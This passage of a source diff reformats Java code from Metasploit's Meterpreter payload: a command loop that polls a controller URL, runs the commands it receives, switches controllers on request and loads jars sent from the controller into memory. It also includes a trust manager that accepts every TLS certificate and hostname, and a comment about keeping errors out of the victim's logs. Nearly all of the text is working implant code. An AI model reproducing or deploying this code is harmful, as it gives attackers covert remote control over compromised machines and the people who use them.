} catch (Exception ex) {
|
|
||||||
ex.printStackTrace(getErrorStream());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
uc.setDoOutput(true);
|
|
||||||
OutputStream out = uc.getOutputStream();
|
|
||||||
out.write(outPacket == null ? RECV : outPacket);
|
|
||||||
out.close();
|
|
||||||
DataInputStream in = new DataInputStream(uc.getInputStream());
|
|
||||||
int len;
|
|
||||||
try {
|
|
||||||
len = in.readInt();
|
|
||||||
} catch (EOFException ex) {
|
|
||||||
len = -1;
|
|
||||||
}
|
|
||||||
if (len != -1) {
|
|
||||||
int ptype = in.readInt();
|
|
||||||
if (ptype != PACKET_TYPE_REQUEST)
|
|
||||||
throw new RuntimeException("Invalid packet type: " + ptype);
|
|
||||||
request = new TLVPacket(in, len - 8);
|
|
||||||
}
|
|
||||||
in.close();
|
|
||||||
commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
|
|
||||||
} catch (IOException ex) {
|
|
||||||
ex.printStackTrace(getErrorStream());
|
|
||||||
// URL not reachable
|
|
||||||
if (outPacket != null) {
|
|
||||||
synchronized (this) {
|
|
||||||
tlvQueue.add(0, outPacket);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (request != null) {
|
|
||||||
TLVPacket response = executeCommand(request);
|
|
||||||
if (response == null)
|
|
||||||
break;
|
|
||||||
writeTLV(PACKET_TYPE_RESPONSE, response);
|
|
||||||
} else if (outPacket == null) {
|
|
||||||
try {
|
|
||||||
Thread.sleep(5000);
|
|
||||||
} catch (InterruptedException ex) {
|
|
||||||
// ignore
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
synchronized (this) {
|
|
||||||
tlvQueue = new ArrayList();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the command manager, used to register or lookup commands.
|
* Execute a command request.
|
||||||
*/
|
*
|
||||||
public CommandManager getCommandManager() {
|
* @param request The request to execute
|
||||||
return commandManager;
|
* @return The response packet to send back
|
||||||
}
|
*/
|
||||||
|
private TLVPacket executeCommand(TLVPacket request) throws IOException {
|
||||||
|
TLVPacket response = new TLVPacket();
|
||||||
|
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
|
||||||
|
if (method.equals("core_switch_url")) {
|
||||||
|
String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
|
||||||
|
int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
|
||||||
|
int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
|
||||||
|
pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
|
||||||
|
return null;
|
||||||
|
} else if (method.equals("core_shutdown")) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
response.add(TLVType.TLV_TYPE_METHOD, method);
|
||||||
|
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
|
||||||
|
Command cmd = commandManager.getCommand(method);
|
||||||
|
int result;
|
||||||
|
try {
|
||||||
|
result = cmd.execute(this, request, response);
|
||||||
|
} catch (Throwable t) {
|
||||||
|
t.printStackTrace(getErrorStream());
|
||||||
|
result = Command.ERROR_FAILURE;
|
||||||
|
}
|
||||||
|
response.add(TLVType.TLV_TYPE_RESULT, result);
|
||||||
|
return response;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Register a new channel in this meterpreter. Used only by {@link Channel#Channel(Meterpreter, java.io.InputStream, OutputStream, java.io.InputStream)}.
|
* Poll from a given URL until a shutdown request is received.
|
||||||
*
|
*
|
||||||
* @param channel
|
* @param url
|
||||||
* The channel to register
|
*/
|
||||||
* @return The channel's ID.
|
private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
|
||||||
*/
|
synchronized (this) {
|
||||||
public synchronized int registerChannel(Channel channel) {
|
tlvQueue = new ArrayList();
|
||||||
channels.add(channel);
|
}
|
||||||
return channels.size() - 1;
|
long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L;
|
||||||
}
|
long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
|
||||||
|
final byte[] RECV = "RECV".getBytes("ISO-8859-1");
|
||||||
|
while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) {
|
||||||
|
byte[] outPacket = null;
|
||||||
|
synchronized (this) {
|
||||||
|
if (tlvQueue.size() > 0)
|
||||||
|
outPacket = (byte[]) tlvQueue.remove(0);
|
||||||
|
}
|
||||||
|
TLVPacket request = null;
|
||||||
|
try {
|
||||||
|
URLConnection uc = url.openConnection();
|
||||||
|
if (url.getProtocol().equals("https")) {
|
||||||
|
// load the trust manager via reflection, to avoid loading
|
||||||
|
// it when it is not needed (it requires Sun Java 1.4+)
|
||||||
|
try {
|
||||||
|
Class.forName("com.metasploit.meterpreter.PayloadTrustManager").getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, new Object[]{uc});
|
||||||
|
} catch (Exception ex) {
|
||||||
|
ex.printStackTrace(getErrorStream());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
uc.setDoOutput(true);
|
||||||
|
OutputStream out = uc.getOutputStream();
|
||||||
|
out.write(outPacket == null ? RECV : outPacket);
|
||||||
|
out.close();
|
||||||
|
DataInputStream in = new DataInputStream(uc.getInputStream());
|
||||||
|
int len;
|
||||||
|
try {
|
||||||
|
len = in.readInt();
|
||||||
|
} catch (EOFException ex) {
|
||||||
|
len = -1;
|
||||||
|
}
|
||||||
|
if (len != -1) {
|
||||||
|
int ptype = in.readInt();
|
||||||
|
if (ptype != PACKET_TYPE_REQUEST)
|
||||||
|
throw new RuntimeException("Invalid packet type: " + ptype);
|
||||||
|
request = new TLVPacket(in, len - 8);
|
||||||
|
}
|
||||||
|
in.close();
|
||||||
|
commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
|
||||||
|
} catch (IOException ex) {
|
||||||
|
ex.printStackTrace(getErrorStream());
|
||||||
|
// URL not reachable
|
||||||
|
if (outPacket != null) {
|
||||||
|
synchronized (this) {
|
||||||
|
tlvQueue.add(0, outPacket);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (request != null) {
|
||||||
|
TLVPacket response = executeCommand(request);
|
||||||
|
if (response == null)
|
||||||
|
break;
|
||||||
|
writeTLV(PACKET_TYPE_RESPONSE, response);
|
||||||
|
} else if (outPacket == null) {
|
||||||
|
try {
|
||||||
|
Thread.sleep(5000);
|
||||||
|
} catch (InterruptedException ex) {
|
||||||
|
// ignore
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
synchronized (this) {
|
||||||
|
tlvQueue = new ArrayList();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Used by {@link Channel#close()} to notify the meterpreter that the channel has been closed.
|
* Get the command manager, used to register or lookup commands.
|
||||||
*
|
*/
|
||||||
* @param id
|
public CommandManager getCommandManager() {
|
||||||
* The channel's ID
|
return commandManager;
|
||||||
*/
|
}
|
||||||
public synchronized void channelClosed(int id) {
|
|
||||||
channels.set(id, null);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Obtain a channel for a given channel ID
|
* Register a new channel in this meterpreter. Used only by {@link Channel#Channel(Meterpreter, java.io.InputStream, OutputStream, java.io.InputStream)}.
|
||||||
*
|
*
|
||||||
* @param id
|
* @param channel The channel to register
|
||||||
* The channel ID to look up
|
* @return The channel's ID.
|
||||||
* @param throwIfNonexisting
|
*/
|
||||||
* Whether to throw an exception if the channel does not exist
|
public synchronized int registerChannel(Channel channel) {
|
||||||
* @return The channel, or <code>null</code> if the channel does not exist and it should not throw an exception
|
channels.add(channel);
|
||||||
*/
|
return channels.size() - 1;
|
||||||
public Channel getChannel(int id, boolean throwIfNonexisting) {
|
}
|
||||||
Channel result = null;
|
|
||||||
if (id < channels.size())
|
|
||||||
result = (Channel) channels.get(id);
|
|
||||||
if (result == null && throwIfNonexisting)
|
|
||||||
throw new IllegalArgumentException("Channel " + id + " does not exist.");
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Return the error stream where all errors should be written to. Do <b>not</b> write to {@link System#out} or {@link System#err} as this might appear in the victim's error logs.
|
* Used by {@link Channel#close()} to notify the meterpreter that the channel has been closed.
|
||||||
*/
|
*
|
||||||
public PrintStream getErrorStream() {
|
* @param id The channel's ID
|
||||||
return err;
|
*/
|
||||||
}
|
public synchronized void channelClosed(int id) {
|
||||||
|
channels.set(id, null);
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Return the length of the currently buffered error stream content, or <code>-1</code> if no buffering is active.
|
* Obtain a channel for a given channel ID
|
||||||
*/
|
*
|
||||||
public int getErrorBufferLength() {
|
* @param id The channel ID to look up
|
||||||
if (errBuffer == null)
|
* @param throwIfNonexisting Whether to throw an exception if the channel does not exist
|
||||||
return -1;
|
* @return The channel, or <code>null</code> if the channel does not exist and it should not throw an exception
|
||||||
return errBuffer.size();
|
*/
|
||||||
}
|
public Channel getChannel(int id, boolean throwIfNonexisting) {
|
||||||
|
Channel result = null;
|
||||||
/**
|
if (id < channels.size())
|
||||||
* Return the currently buffered error stream content, or <code>null</code> if no buffering is active.
|
result = (Channel) channels.get(id);
|
||||||
*/
|
if (result == null && throwIfNonexisting)
|
||||||
public byte[] getErrorBuffer() {
|
throw new IllegalArgumentException("Channel " + id + " does not exist.");
|
||||||
if (errBuffer == null)
|
return result;
|
||||||
return null;
|
}
|
||||||
synchronized (errBuffer) {
|
|
||||||
byte[] result = errBuffer.toByteArray();
|
|
||||||
errBuffer.reset();
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Send a request packet over this meterpreter.
|
|
||||||
*
|
|
||||||
* @param packet
|
|
||||||
* Packet parameters
|
|
||||||
* @param method
|
|
||||||
* Method to invoke
|
|
||||||
*/
|
|
||||||
public void writeRequestPacket(String method, TLVPacket tlv) throws IOException {
|
|
||||||
tlv.add(TLVType.TLV_TYPE_METHOD, method);
|
|
||||||
char[] requestID = new char[32];
|
|
||||||
for (int i = 0; i < requestID.length; i++) {
|
|
||||||
requestID[i] = (char) ('A' + rnd.nextInt(26));
|
|
||||||
}
|
|
||||||
tlv.add(TLVType.TLV_TYPE_REQUEST_ID, new String(requestID));
|
|
||||||
writeTLV(PACKET_TYPE_REQUEST, tlv);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Load an extension into this meterpreter. Called from {@link core_loadlib}.
|
* Return the error stream where all errors should be written to. Do <b>not</b> write to {@link System#out} or {@link System#err} as this might appear in the victim's error logs.
|
||||||
*
|
*/
|
||||||
* @param data
|
public PrintStream getErrorStream() {
|
||||||
* The extension jar's content as a byte array
|
return err;
|
||||||
*/
|
}
|
||||||
public String[] loadExtension(byte[] data) throws Exception {
|
|
||||||
ClassLoader classLoader = getClass().getClassLoader();
|
/**
|
||||||
if (loadExtensions) {
|
* Return the length of the currently buffered error stream content, or <code>-1</code> if no buffering is active.
|
||||||
URL url = MemoryBufferURLConnection.createURL(data, "application/jar");
|
*/
|
||||||
classLoader = new URLClassLoader(new URL[] { url }, classLoader);
|
public int getErrorBufferLength() {
|
||||||
}
|
if (errBuffer == null)
|
||||||
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data));
|
return -1;
|
||||||
String loaderName = (String) jis.getManifest().getMainAttributes().getValue("Extension-Loader");
|
return errBuffer.size();
|
||||||
ExtensionLoader loader = (ExtensionLoader) classLoader.loadClass(loaderName).newInstance();
|
}
|
||||||
commandManager.resetNewCommands();
|
|
||||||
loader.load(commandManager);
|
/**
|
||||||
return commandManager.getNewCommands();
|
* Return the currently buffered error stream content, or <code>null</code> if no buffering is active.
|
||||||
}
|
*/
|
||||||
|
public byte[] getErrorBuffer() {
|
||||||
|
if (errBuffer == null)
|
||||||
|
return null;
|
||||||
|
synchronized (errBuffer) {
|
||||||
|
byte[] result = errBuffer.toByteArray();
|
||||||
|
errBuffer.reset();
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Send a request packet over this meterpreter.
|
||||||
|
*
|
||||||
|
* @param packet Packet parameters
|
||||||
|
* @param method Method to invoke
|
||||||
|
*/
|
||||||
|
public void writeRequestPacket(String method, TLVPacket tlv) throws IOException {
|
||||||
|
tlv.add(TLVType.TLV_TYPE_METHOD, method);
|
||||||
|
char[] requestID = new char[32];
|
||||||
|
for (int i = 0; i < requestID.length; i++) {
|
||||||
|
requestID[i] = (char) ('A' + rnd.nextInt(26));
|
||||||
|
}
|
||||||
|
tlv.add(TLVType.TLV_TYPE_REQUEST_ID, new String(requestID));
|
||||||
|
writeTLV(PACKET_TYPE_REQUEST, tlv);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Load an extension into this meterpreter. Called from {@link core_loadlib}.
|
||||||
|
*
|
||||||
|
* @param data The extension jar's content as a byte array
|
||||||
|
*/
|
||||||
|
public String[] loadExtension(byte[] data) throws Exception {
|
||||||
|
ClassLoader classLoader = getClass().getClassLoader();
|
||||||
|
if (loadExtensions) {
|
||||||
|
URL url = MemoryBufferURLConnection.createURL(data, "application/jar");
|
||||||
|
classLoader = new URLClassLoader(new URL[]{url}, classLoader);
|
||||||
|
}
|
||||||
|
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data));
|
||||||
|
String loaderName = (String) jis.getManifest().getMainAttributes().getValue("Extension-Loader");
|
||||||
|
ExtensionLoader loader = (ExtensionLoader) classLoader.loadClass(loaderName).newInstance();
|
||||||
|
commandManager.resetNewCommands();
|
||||||
|
loader.load(commandManager);
|
||||||
|
return commandManager.getNewCommands();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -9,6 +9,7 @@ import javax.net.ssl.SSLSession;
|
|||||||
import javax.net.ssl.SSLSocketFactory;
|
import javax.net.ssl.SSLSocketFactory;
|
||||||
import javax.net.ssl.TrustManager;
|
import javax.net.ssl.TrustManager;
|
||||||
import javax.net.ssl.X509TrustManager;
|
import javax.net.ssl.X509TrustManager;
|
||||||
|
|
||||||
import java.security.cert.X509Certificate;
|
import java.security.cert.X509Certificate;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -16,48 +17,48 @@ import java.security.cert.X509Certificate;
|
|||||||
* depends on classes only present on Sun JRE 1.4+, and incorporating it into
|
* depends on classes only present on Sun JRE 1.4+, and incorporating it into
|
||||||
* the main {@link Meterpreter} class would have made it impossible for other/older
|
* the main {@link Meterpreter} class would have made it impossible for other/older
|
||||||
* JREs to load it.
|
* JREs to load it.
|
||||||
*
|
* <p/>
|
||||||
* This class is substantically identical to the metasploit.PayloadTrustManager class,
|
* This class is substantically identical to the metasploit.PayloadTrustManager class,
|
||||||
* only that it tries to cache the ssl context and trust manager between calls.
|
* only that it tries to cache the ssl context and trust manager between calls.
|
||||||
*/
|
*/
|
||||||
public class PayloadTrustManager implements X509TrustManager, HostnameVerifier {
|
public class PayloadTrustManager implements X509TrustManager, HostnameVerifier {
|
||||||
|
|
||||||
public X509Certificate[] getAcceptedIssuers() {
|
public X509Certificate[] getAcceptedIssuers() {
|
||||||
// no preferred issuers
|
// no preferred issuers
|
||||||
return new X509Certificate[0];
|
return new X509Certificate[0];
|
||||||
}
|
}
|
||||||
|
|
||||||
public void checkClientTrusted(java.security.cert.X509Certificate[] certs, String authType) {
|
public void checkClientTrusted(java.security.cert.X509Certificate[] certs, String authType) {
|
||||||
// trust everyone
|
// trust everyone
|
||||||
}
|
}
|
||||||
|
|
||||||
public void checkServerTrusted(java.security.cert.X509Certificate[] certs, String authType) {
|
public void checkServerTrusted(java.security.cert.X509Certificate[] certs, String authType) {
|
||||||
// trust everyone
|
// trust everyone
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
|
||||||
// trust everyone
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
private static PayloadTrustManager instance;
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
private static SSLSocketFactory factory;
|
// trust everyone
|
||||||
|
return true;
|
||||||
/**
|
}
|
||||||
* Called by the {@link Payload} class to modify the given
|
|
||||||
* {@link URLConnection} so that it uses this trust manager.
|
private static PayloadTrustManager instance;
|
||||||
*/
|
private static SSLSocketFactory factory;
|
||||||
public static synchronized void useFor(URLConnection uc) throws Exception {
|
|
||||||
if (uc instanceof HttpsURLConnection) {
|
/**
|
||||||
HttpsURLConnection huc = ((HttpsURLConnection) uc);
|
* Called by the {@link Payload} class to modify the given
|
||||||
if (instance == null) {
|
* {@link URLConnection} so that it uses this trust manager.
|
||||||
instance = new PayloadTrustManager();
|
*/
|
||||||
SSLContext sc = SSLContext.getInstance("SSL");
|
public static synchronized void useFor(URLConnection uc) throws Exception {
|
||||||
sc.init(null, new TrustManager[] { instance }, new java.security.SecureRandom());
|
if (uc instanceof HttpsURLConnection) {
|
||||||
factory = sc.getSocketFactory();
|
HttpsURLConnection huc = ((HttpsURLConnection) uc);
|
||||||
}
|
if (instance == null) {
|
||||||
huc.setSSLSocketFactory(factory);
|
instance = new PayloadTrustManager();
|
||||||
huc.setHostnameVerifier(instance);
|
SSLContext sc = SSLContext.getInstance("SSL");
|
||||||
}
|
sc.init(null, new TrustManager[]{instance}, new java.security.SecureRandom());
|
||||||
}
|
factory = sc.getSocketFactory();
|
||||||
|
}
|
||||||
|
huc.setSSLSocketFactory(factory);
|
||||||
|
huc.setHostnameVerifier(instance);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -19,304 +19,301 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
public class TLVPacket {
|
public class TLVPacket {
|
||||||
|
|
||||||
// constants
|
// constants
|
||||||
public static final int TLV_META_TYPE_NONE = 0;
|
public static final int TLV_META_TYPE_NONE = 0;
|
||||||
|
|
||||||
public static final int TLV_META_TYPE_STRING = (1 << 16);
|
public static final int TLV_META_TYPE_STRING = (1 << 16);
|
||||||
public static final int TLV_META_TYPE_UINT = (1 << 17);
|
public static final int TLV_META_TYPE_UINT = (1 << 17);
|
||||||
public static final int TLV_META_TYPE_RAW = (1 << 18);
|
public static final int TLV_META_TYPE_RAW = (1 << 18);
|
||||||
public static final int TLV_META_TYPE_BOOL = (1 << 19);
|
public static final int TLV_META_TYPE_BOOL = (1 << 19);
|
||||||
public static final int TLV_META_TYPE_QWORD = (1 << 20);
|
public static final int TLV_META_TYPE_QWORD = (1 << 20);
|
||||||
public static final int TLV_META_TYPE_COMPRESSED = (1 << 29);
|
public static final int TLV_META_TYPE_COMPRESSED = (1 << 29);
|
||||||
public static final int TLV_META_TYPE_GROUP = (1 << 30);
|
public static final int TLV_META_TYPE_GROUP = (1 << 30);
|
||||||
public static final int TLV_META_TYPE_COMPLEX = (1 << 31);
|
public static final int TLV_META_TYPE_COMPLEX = (1 << 31);
|
||||||
|
|
||||||
// not defined in original
|
// not defined in original
|
||||||
public static final int TLV_META_TYPE_MASK = (1 << 31) + (1 << 30) + (1 << 29) + (1 << 19) + (1 << 18) + (1 << 17) + (1 << 16);
|
public static final int TLV_META_TYPE_MASK = (1 << 31) + (1 << 30) + (1 << 29) + (1 << 19) + (1 << 18) + (1 << 17) + (1 << 16);
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* A list of {@link Integer} values that represent the order of the TLV value types for serializing the current package.
|
* A list of {@link Integer} values that represent the order of the TLV value types for serializing the current package.
|
||||||
*/
|
*/
|
||||||
private List/* <Integer> */typeOrder = new ArrayList();
|
private List/* <Integer> */typeOrder = new ArrayList();
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* A list of objects that represent the values stored in the package.
|
* A list of objects that represent the values stored in the package.
|
||||||
*/
|
*/
|
||||||
private List/* <Integer> */valueList = new ArrayList();
|
private List/* <Integer> */valueList = new ArrayList();
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* A map, mapping the types (as {@link Integer} objects) to an {@link ArrayList} of {@link Integer} values that respresent the index into the valueList array.
|
* A map, mapping the types (as {@link Integer} objects) to an {@link ArrayList} of {@link Integer} values that respresent the index into the valueList array.
|
||||||
*/
|
*/
|
||||||
private Map/* <Integer,ArrayList> */valueMap = new HashMap();
|
private Map/* <Integer,ArrayList> */valueMap = new HashMap();
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* A list of additionals types/values to be added to the end of the packet. Here packet types may appear more than once, but they cannot be read again with this class.
|
* A list of additionals types/values to be added to the end of the packet. Here packet types may appear more than once, but they cannot be read again with this class.
|
||||||
*/
|
*/
|
||||||
private List/* <Integer/Object> */overflowList = new ArrayList();
|
private List/* <Integer/Object> */overflowList = new ArrayList();
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Construct a new empty TLV packet.
|
* Construct a new empty TLV packet.
|
||||||
*/
|
*/
|
||||||
public TLVPacket() {
|
public TLVPacket() {
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Read a TLV packet from an input stream.
|
* Read a TLV packet from an input stream.
|
||||||
*
|
*
|
||||||
* @param in
|
* @param in Input stream to read from
|
||||||
* Input stream to read from
|
* @param remaining length of the packet to read in bytes
|
||||||
* @param remaining
|
* @throws IOException if an error occurs
|
||||||
* length of the packet to read in bytes
|
*/
|
||||||
* @throws IOException
|
public TLVPacket(DataInputStream in, int remaining) throws IOException {
|
||||||
* if an error occurs
|
while (remaining > 0) {
|
||||||
*/
|
int len = in.readInt();
|
||||||
public TLVPacket(DataInputStream in, int remaining) throws IOException {
|
int type = in.readInt();
|
||||||
while (remaining > 0) {
|
if (len > remaining)
|
||||||
int len = in.readInt();
|
break;
|
||||||
int type = in.readInt();
|
byte[] data = new byte[len - 8];
|
||||||
if (len > remaining)
|
remaining -= len;
|
||||||
break;
|
Object value;
|
||||||
byte[] data = new byte[len - 8];
|
if ((type & TLV_META_TYPE_COMPRESSED) != 0) {
|
||||||
remaining -= len;
|
in.readFully(data);
|
||||||
Object value;
|
value = data;
|
||||||
if ((type & TLV_META_TYPE_COMPRESSED) != 0) {
|
} else if ((type & TLV_META_TYPE_STRING) != 0) {
|
||||||
in.readFully(data);
|
in.readFully(data);
|
||||||
value = data;
|
String string = new String(data, "UTF-8");
|
||||||
} else if ((type & TLV_META_TYPE_STRING) != 0) {
|
if (!string.endsWith("\0"))
|
||||||
in.readFully(data);
|
throw new IOException("C string is not 0 terminated: " + string);
|
||||||
String string = new String(data, "UTF-8");
|
string = string.substring(0, string.length() - 1);
|
||||||
if (!string.endsWith("\0"))
|
if (string.indexOf('\0') != -1)
|
||||||
throw new IOException("C string is not 0 terminated: " + string);
|
throw new IOException("Embedded null detected: " + string);
|
||||||
string = string.substring(0, string.length() - 1);
|
value = string;
|
||||||
if (string.indexOf('\0') != -1)
|
} else if ((type & TLV_META_TYPE_QWORD) != 0 && len == 16) {
|
||||||
throw new IOException("Embedded null detected: " + string);
|
value = new Long(in.readLong());
|
||||||
value = string;
|
} else if ((type & TLV_META_TYPE_UINT) != 0 && len == 12) {
|
||||||
} else if ((type & TLV_META_TYPE_QWORD) != 0 && len == 16) {
|
value = new Integer(in.readInt());
|
||||||
value = new Long(in.readLong());
|
} else if ((type & TLV_META_TYPE_BOOL) != 0 && len == 9) {
|
||||||
} else if ((type & TLV_META_TYPE_UINT) != 0 && len == 12) {
|
value = new Boolean(in.readBoolean());
|
||||||
value = new Integer(in.readInt());
|
} else if ((type & TLV_META_TYPE_RAW) != 0) {
|
||||||
} else if ((type & TLV_META_TYPE_BOOL) != 0 && len == 9) {
|
in.readFully(data);
|
||||||
value = new Boolean(in.readBoolean());
|
value = data;
|
||||||
} else if ((type & TLV_META_TYPE_RAW) != 0) {
|
} else if ((type & TLV_META_TYPE_GROUP) != 0) {
|
||||||
in.readFully(data);
|
in.readFully(data);
|
||||||
value = data;
|
DataInputStream dis = new DataInputStream(new ByteArrayInputStream(data));
|
||||||
} else if ((type & TLV_META_TYPE_GROUP) != 0) {
|
value = new TLVPacket(dis, data.length);
|
||||||
in.readFully(data);
|
dis.close();
|
||||||
DataInputStream dis = new DataInputStream(new ByteArrayInputStream(data));
|
} else if ((type & TLV_META_TYPE_COMPLEX) != 0) {
|
||||||
value = new TLVPacket(dis, data.length);
|
in.readFully(data);
|
||||||
dis.close();
|
value = data;
|
||||||
} else if ((type & TLV_META_TYPE_COMPLEX) != 0) {
|
} else {
|
||||||
in.readFully(data);
|
throw new IOException("Unsupported type: " + type + "/" + len);
|
||||||
value = data;
|
}
|
||||||
} else {
|
add(type, value);
|
||||||
throw new IOException("Unsupported type: " + type + "/" + len);
|
}
|
||||||
}
|
if (remaining != 0) {
|
||||||
add(type, value);
|
throw new IOException("Incomplete packets detected");
|
||||||
}
|
}
|
||||||
if (remaining != 0) {
|
}
|
||||||
throw new IOException("Incomplete packets detected");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Add a TLV value to this object.
|
* Add a TLV value to this object.
|
||||||
*/
|
*/
|
||||||
public void add(int type, Object value) throws IOException {
|
public void add(int type, Object value) throws IOException {
|
||||||
ArrayList indices = null;
|
ArrayList indices = null;
|
||||||
Integer typeObj = new Integer(type);
|
Integer typeObj = new Integer(type);
|
||||||
typeOrder.add(typeObj);
|
typeOrder.add(typeObj);
|
||||||
|
|
||||||
if (valueMap.containsKey(typeObj)) {
|
if (valueMap.containsKey(typeObj)) {
|
||||||
indices = (ArrayList)valueMap.get(typeObj);
|
indices = (ArrayList) valueMap.get(typeObj);
|
||||||
} else {
|
} else {
|
||||||
indices = new ArrayList();
|
indices = new ArrayList();
|
||||||
valueMap.put(typeObj, indices);
|
valueMap.put(typeObj, indices);
|
||||||
}
|
}
|
||||||
|
|
||||||
// add the index of the new element to the list of indices for the object
|
// add the index of the new element to the list of indices for the object
|
||||||
indices.add(new Integer(valueList.size()));
|
indices.add(new Integer(valueList.size()));
|
||||||
|
|
||||||
// add the value to the list of values that make up the object
|
// add the value to the list of values that make up the object
|
||||||
valueList.add(value);
|
valueList.add(value);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Add an element to the overflow list.
|
* Add an element to the overflow list.
|
||||||
*/
|
*/
|
||||||
public void addOverflow(int type, Object value) throws IOException {
|
public void addOverflow(int type, Object value) throws IOException {
|
||||||
overflowList.add(new Integer(type));
|
overflowList.add(new Integer(type));
|
||||||
overflowList.add(value);
|
overflowList.add(value);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Add a TLV value to this object.
|
* Add a TLV value to this object.
|
||||||
*/
|
*/
|
||||||
public void add(int type, long value) throws IOException {
|
public void add(int type, long value) throws IOException {
|
||||||
add(type, new Long(value));
|
add(type, new Long(value));
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Add a TLV value to this object.
|
* Add a TLV value to this object.
|
||||||
*/
|
*/
|
||||||
public void add(int type, int value) throws IOException {
|
public void add(int type, int value) throws IOException {
|
||||||
add(type, new Integer(value));
|
add(type, new Integer(value));
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Add a TLV value to this object.
|
* Add a TLV value to this object.
|
||||||
*/
|
*/
|
||||||
public void add(int type, boolean value) throws IOException {
|
public void add(int type, boolean value) throws IOException {
|
||||||
add(type, new Boolean(value));
|
add(type, new Boolean(value));
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the types and their order in this packet, as an immutable list.
|
* Get the types and their order in this packet, as an immutable list.
|
||||||
*/
|
*/
|
||||||
public List getTypeOrder() {
|
public List getTypeOrder() {
|
||||||
return Collections.unmodifiableList(typeOrder);
|
return Collections.unmodifiableList(typeOrder);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the value associated to a type.
|
* Get the value associated to a type.
|
||||||
*/
|
*/
|
||||||
public Object getValue(int type) {
|
public Object getValue(int type) {
|
||||||
ArrayList indices = (ArrayList)valueMap.get(new Integer(type));
|
ArrayList indices = (ArrayList) valueMap.get(new Integer(type));
|
||||||
if (indices == null)
|
if (indices == null)
|
||||||
throw new IllegalArgumentException("Cannot find type " + type);
|
throw new IllegalArgumentException("Cannot find type " + type);
|
||||||
// the indices variable is an ArrayList so by default return the first to
|
// the indices variable is an ArrayList so by default return the first to
|
||||||
// preserve existing behaviour.
|
// preserve existing behaviour.
|
||||||
return valueList.get(((Integer)indices.get(0)).intValue());
|
return valueList.get(((Integer) indices.get(0)).intValue());
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the list of values associated to a type.
|
* Get the list of values associated to a type.
|
||||||
*/
|
*/
|
||||||
public List getValues(int type) {
|
public List getValues(int type) {
|
||||||
ArrayList values = new ArrayList();
|
ArrayList values = new ArrayList();
|
||||||
ArrayList indices = (ArrayList)valueMap.get(new Integer(type));
|
ArrayList indices = (ArrayList) valueMap.get(new Integer(type));
|
||||||
if (indices == null)
|
if (indices == null)
|
||||||
throw new IllegalArgumentException("Cannot find type " + type);
|
throw new IllegalArgumentException("Cannot find type " + type);
|
||||||
|
|
||||||
for (int i = 0; i < indices.size(); ++i) {
|
for (int i = 0; i < indices.size(); ++i) {
|
||||||
values.add(valueList.get(((Integer)indices.get(i)).intValue()));
|
values.add(valueList.get(((Integer) indices.get(i)).intValue()));
|
||||||
}
|
}
|
||||||
return values;
|
return values;
|
||||||
}
|
}
|
||||||
|
|
